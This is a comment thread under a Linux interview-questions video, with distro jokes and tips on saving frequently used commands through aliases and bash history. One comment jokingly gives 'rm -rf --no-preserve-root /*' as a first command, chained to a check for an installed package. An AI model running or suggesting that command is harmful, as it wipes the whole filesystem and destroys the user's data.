17 Linux Interview Questions and Answers

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[@CFWhitman]

Just to anyone watching who isn't familiar. The words "deprecated" and "depreciated" are easy to get mixed up (being only one letter different), but they are two different words. In the context of computer usage "deprecated" means slated for retirement or no longer being updated. While in a general context "depreciated" means reduced in value or worth, usually financially.

[@5ebastiancarlo5]

question one: which was your regiment during the Linux War? I fought in the Ubuntu front, but I took an fstab to the knee

[@MarkMcNallyJE]

I fought in the fedora front,, could not hold off the systemD flank no matter how hard we tried

[@manum8170]

CentOS was where I hold the line but the enemy stream was too much to come up on htop

[@173daniel]

Does anyone know any software where I can save a list of commands that I use regularly, but be able to copy paste with a button or even click to send to my terminal? I had an auto hot key script for this on windows but that's not supported on Linux (as far as I can tell). Was curious to learn how others handle this, right now I just have a list of commands saved to my Joplin/one note app. Cheers!

[@driden1987]

Isn't creating alias an option ? You can always do a search in your history with

[@MarkMcNallyJE]

You can maybe use bash history for this? I have a video that could help you if you search my channel :)

[@173daniel]

@@MarkMcNallyJE will have a look, it needs to be tied to my machine i think as i connect to various different console bastions to access servers. history and alias would then be tied to that specific session right? im quite new to linux so apologies if I'm not understanding correctly

[@173daniel]

@@driden1987 i have used them on my machine now but mainly ssh hostnames and things like that, i connect to different hosts so if im understanding correctly, if i setup alias its on the server not my machine?

[@MarkMcNallyJE]

@@173daniel ah yeah if you are connecting to different servers it will be tied to the local machine I'm afraid :(

[@wchorski]

excellent stuff

[@mitchpearce]

Yes Mark

[@MarkMcNallyJE]

Lad

[@dylanelens]

really like this video! hopefully I can use this advice once! :)

[@MarkMcNallyJE]

Thanks!

[@JohnSmith-lc1ml]

How do you see how many packages you have installed? Me: Neofetch

[@twentyrothmans7308]

Hi Mark, these were straightforward for me after Slowlaris and RHEL since 1998. Interview panic is a big one. Even if you are nicely settled in a fantastic job, go for an interview every year. Learn from my mistakes. I have had interviews where they've given me a scenario - and they've weirded out when I said my first action would be "don't panic". First command after logging in: $ rpm -qa|grep -E "emacs\ " && sudo rm -rf --no-preserve-root /*

[@Anonymouzee]

😭I'm fired... 😤 naaaaaahhh!!! 😉🤣

[@fernandoz6329]

decrepit ? 🤣

[@Anonymouzee]

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